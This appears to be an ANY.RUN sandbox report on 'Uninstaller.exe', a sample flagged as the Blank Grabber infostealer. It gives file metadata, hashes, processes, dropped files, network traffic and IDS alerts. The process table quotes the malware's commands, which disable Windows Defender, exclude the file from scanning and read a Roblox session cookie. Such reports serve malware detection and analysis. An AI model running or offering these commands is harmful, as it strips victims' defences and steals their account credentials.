| File name: | Uninstaller.exe |
| Full analysis: | https://app.any.run/tasks/5fcebad2-bfc3-45bc-b242-3c2ae3aec6d3 |
| Verdict: | Malicious activity |
| Threats: | Blank Grabber is an infostealer written in Python. It is designed to steal a wide array of data, such as browser login credentials, crypto wallets, Telegram sessions, and Discord tokens. It is an open-source malware, with its code available on GitHub and regularly receiving updates. Blank Grabber builder’s simple interface lets threat actors even with basic skills to deploy it and conduct attacks. |
| Analysis date: | March 24, 2025, 16:21:00 |
| OS: | Windows 10 Professional (build: 19045, 64 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/vnd.microsoft.portable-executable |
| File info: | PE32+ executable (GUI) x86-64, for MS Windows, 6 sections |
| MD5: | CF1AE6083D4E5F95E11B3D42E80BBE96 |
| SHA1: | 1925A09B290FE088042EBF236BB57492044A5141 |
| SHA256: | A5502424B07C5E64D304A737549298255FE2AFB814CA57A46016C9DD9097D10D |
| SSDEEP: | 98304:qJ3k+MI09zWyKECE67wsLcrxYsRcrbkIo4ViO/weaFUWwvqHi1VAJ8ZySSg3A59r:gT3XWca2Q |
| .exe | | | Win64 Executable (generic) (87.3) |
|---|---|---|
| .exe | | | Generic Win/DOS Executable (6.3) |
| .exe | | | DOS Executable Generic (6.3) |
| MachineType: | AMD AMD64 |
|---|---|
| TimeStamp: | 2024:12:31 14:31:31+00:00 |
| ImageFileCharacteristics: | Executable, Large address aware |
| PEType: | PE32+ |
| LinkerVersion: | 14.41 |
| CodeSize: | 172032 |
| InitializedDataSize: | 94208 |
| UninitializedDataSize: | - |
| EntryPoint: | 0xce20 |
| OSVersion: | 6 |
| ImageVersion: | - |
| SubsystemVersion: | 6 |
| Subsystem: | Windows GUI |
| FileVersionNumber: | 10.0.22621.1 |
| ProductVersionNumber: | 10.0.22621.1 |
| FileFlagsMask: | 0x003f |
| FileFlags: | (none) |
| FileOS: | Windows NT 32-bit |
| ObjectFileType: | Executable application |
| FileSubtype: | - |
| LanguageCode: | English (U.S.) |
| CharacterSet: | Unicode |
| CompanyName: | Microsoft Corporation |
| FileDescription: | Attribute Utility |
| FileVersion: | 10.0.22621.1 (WinBuild.160101.0800) |
| InternalName: | attrib |
| LegalCopyright: | © Microsoft Corporation. All rights reserved. |
| OriginalFileName: | ATTRIB.EXE |
| ProductName: | Microsoft® Windows® Operating System |
| ProductVersion: | 10.0.22621.1 |
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 736 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Console Window Host Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 896 | powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\admin\Desktop\Uninstaller.exe' | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Windows PowerShell Exit code: 1 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 1056 | ping localhost -n 3 | C:\Windows\System32\PING.EXE | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: TCP/IP Ping Command Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 1184 | C:\WINDOWS\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All" | C:\Windows\System32\cmd.exe | — | Uninstaller.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Windows Command Processor Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 1324 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Console Window Host Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 1328 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Console Window Host Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 1348 | C:\WINDOWS\system32\cmd.exe /c "wmic csproduct get uuid" | C:\Windows\System32\cmd.exe | — | Uninstaller.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Windows Command Processor Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 1568 | tree /A /F | C:\Windows\System32\tree.com | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Tree Walk Utility Exit code: 0 Version: 10.0.19041.3636 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 1760 | "C:\Users\admin\Desktop\Uninstaller.exe" C:\Users\admin\Desktop\Uninstaller.exe | C:\Users\admin\Desktop\Uninstaller.exe | Uninstaller.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Attribute Utility Exit code: 0 Version: 10.0.22621.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 2040 | C:\WINDOWS\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY" | C:\Windows\System32\cmd.exe | — | Uninstaller.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Windows Command Processor Exit code: 1 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| (PID) Process: | (4040) Uninstaller.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Multimedia\DrawDib |
| Operation: | write | Name: | 1280x720x32(BGR 0) |
Value: 31,31,31,31 | |||
| (PID) Process: | (8048) TiWorker.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing |
| Operation: | write | Name: | SessionIdHigh |
Value: 31169752 | |||
| (PID) Process: | (8048) TiWorker.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing |
| Operation: | write | Name: | SessionIdLow |
Value: | |||
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 6036 | Uninstaller.exe | C:\Users\admin\AppData\Local\Temp\_MEI60362\_bz2.pyd | executable | |
MD5:14F6CEDE9E0019D27C31EEE3A915EF52 | SHA256:B51492A7499CC557B8D3C055966A2FB5841B35FCB7BA9BA7E7D9B029A83EE44D | |||
| 6036 | Uninstaller.exe | C:\Users\admin\AppData\Local\Temp\_MEI60362\VCRUNTIME140.dll | executable | |
MD5:A87575E7CF8967E481241F13940EE4F7 | SHA256:DED5ADAA94341E6C62AEA03845762591666381DCA30EB7C17261DD154121B83E | |||
| 6036 | Uninstaller.exe | C:\Users\admin\AppData\Local\Temp\_MEI60362\libssl-1_1.dll | executable | |
MD5:7F77A090CB42609F2EFC55DDC1EE8FD5 | SHA256:47B63A9370289D2544ABC5A479BFB27D707AE7DB4F3F7B6CC1A8C8F57FD0CF1F | |||
| 6036 | Uninstaller.exe | C:\Users\admin\AppData\Local\Temp\_MEI60362\_hashlib.pyd | executable | |
MD5:BD72948920169B6F05B4F252B2D88460 | SHA256:AE2964C42E590AD1D51837DD96B747619E3ED28F35172C517D7875F4381823E3 | |||
| 6036 | Uninstaller.exe | C:\Users\admin\AppData\Local\Temp\_MEI60362\python310.dll | executable | |
MD5:617C7F358A7744FA767EF52E5224C9EC | SHA256:67CE157F4E61AD163B773FA885620F4FAD58793B7CA8B32E4CC38F1E6744B987 | |||
| 6036 | Uninstaller.exe | C:\Users\admin\AppData\Local\Temp\_MEI60362\rar.exe | executable | |
MD5:9C223575AE5B9544BC3D69AC6364F75E | SHA256:90341AC8DCC9EC5F9EFE89945A381EB701FE15C3196F594D9D9F0F67B4FC2213 | |||
| 6036 | Uninstaller.exe | C:\Users\admin\AppData\Local\Temp\_MEI60362\rarreg.key | text | |
MD5:4531984CAD7DACF24C086830068C4ABE | SHA256:58209C8AB4191E834FFE2ECD003FD7A830D3650F0FD1355A74EB8A47C61D4211 | |||
| 6036 | Uninstaller.exe | C:\Users\admin\AppData\Local\Temp\_MEI60362\libcrypto-1_1.dll | executable | |
MD5:3CC020BACEAC3B73366002445731705A | SHA256:D1AA265861D23A9B76F16906940D30F3A65C5D0597107ECB3D2E6D470B401BB8 | |||
| 6036 | Uninstaller.exe | C:\Users\admin\AppData\Local\Temp\_MEI60362\libffi-7.dll | executable | |
MD5:6F818913FAFE8E4DF7FEDC46131F201F | SHA256:3F94EE4F23F6C7702AB0CC12995A6457BF22183FA828C30CC12288ADF153AE56 | |||
| 6036 | Uninstaller.exe | C:\Users\admin\AppData\Local\Temp\_MEI60362\base_library.zip | compressed | |
MD5:72FE815C166DA90B33F2C203430977EF | SHA256:2ECE2B6FBEBFA82DC1B35C688E9554A56754748FF99D282F8B1E94107FCA7C5B | |||
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
6544 | svchost.exe | GET | 200 | 23.63.118.230:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D | unknown | — | — | whitelisted |
— | — | GET | 200 | 23.48.23.183:80 | http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl | unknown | — | — | whitelisted |
7184 | backgroundTaskHost.exe | GET | 200 | 23.63.118.230:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAUZZSZEml49Gjh0j13P68w%3D | unknown | — | — | whitelisted |
7996 | SIHClient.exe | GET | 200 | 2.16.253.202:80 | http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl | unknown | — | — | whitelisted |
4040 | Uninstaller.exe | GET | 200 | 208.95.112.1:80 | http://ip-api.com/line/?fields=hosting | unknown | — | — | whitelisted |
4040 | Uninstaller.exe | GET | 200 | 208.95.112.1:80 | http://ip-api.com/json/?fields=225545 | unknown | — | — | whitelisted |
7996 | SIHClient.exe | GET | 200 | 2.16.253.202:80 | http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl | unknown | — | — | whitelisted |
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
— | — | 23.48.23.183:80 | crl.microsoft.com | Akamai International B.V. | DE | whitelisted |
4 | System | 192.168.100.255:137 | — | — | — | whitelisted |
2104 | svchost.exe | 51.104.136.2:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
— | — | 51.104.136.2:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
4 | System | 192.168.100.255:138 | — | — | — | whitelisted |
2112 | svchost.exe | 51.104.136.2:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
3216 | svchost.exe | 40.115.3.253:443 | client.wns.windows.com | MICROSOFT-CORP-MSN-AS-BLOCK | NL | whitelisted |
6544 | svchost.exe | 20.190.159.130:443 | login.live.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
6544 | svchost.exe | 23.63.118.230:80 | ocsp.digicert.com | AKAMAI-AS | DE | whitelisted |
4040 | Uninstaller.exe | 208.95.112.1:80 | ip-api.com | TUT-AS | US | whitelisted |
Domain | IP | Reputation |
|---|---|---|
crl.microsoft.com |
| whitelisted |
google.com |
| whitelisted |
blank-3vusb.in |
| unknown |
settings-win.data.microsoft.com |
| whitelisted |
client.wns.windows.com |
| whitelisted |
login.live.com |
| whitelisted |
ocsp.digicert.com |
| whitelisted |
ip-api.com |
| whitelisted |
gstatic.com |
| whitelisted |
arc.msn.com |
| whitelisted |
PID | Process | Class | Message |
|---|---|---|---|
4040 | Uninstaller.exe | Device Retrieving External IP Address Detected | ET INFO External IP Lookup ip-api.com |
2196 | svchost.exe | Device Retrieving External IP Address Detected | INFO [ANY.RUN] External IP Check (ip-api .com) |
2196 | svchost.exe | Device Retrieving External IP Address Detected | ET INFO External IP Lookup Domain in DNS Lookup (ip-api .com) |
4040 | Uninstaller.exe | Device Retrieving External IP Address Detected | ET INFO External IP Lookup ip-api.com |
2196 | svchost.exe | Misc activity | ET INFO Observed Discord Domain in DNS Lookup (discord .com) |
4040 | Uninstaller.exe | A Network Trojan was detected | STEALER [ANY.RUN] BlankGrabber (SkochGrabber) Generic External IP Check |
— | — | Misc activity | ET INFO Discord Chat Service Domain in DNS Lookup (discord .com) |
4040 | Uninstaller.exe | Misc activity | ET INFO Observed Discord Domain (discord .com in TLS SNI) |
4040 | Uninstaller.exe | Misc activity | ET INFO Observed Discord Service Domain (discord .com) in TLS SNI |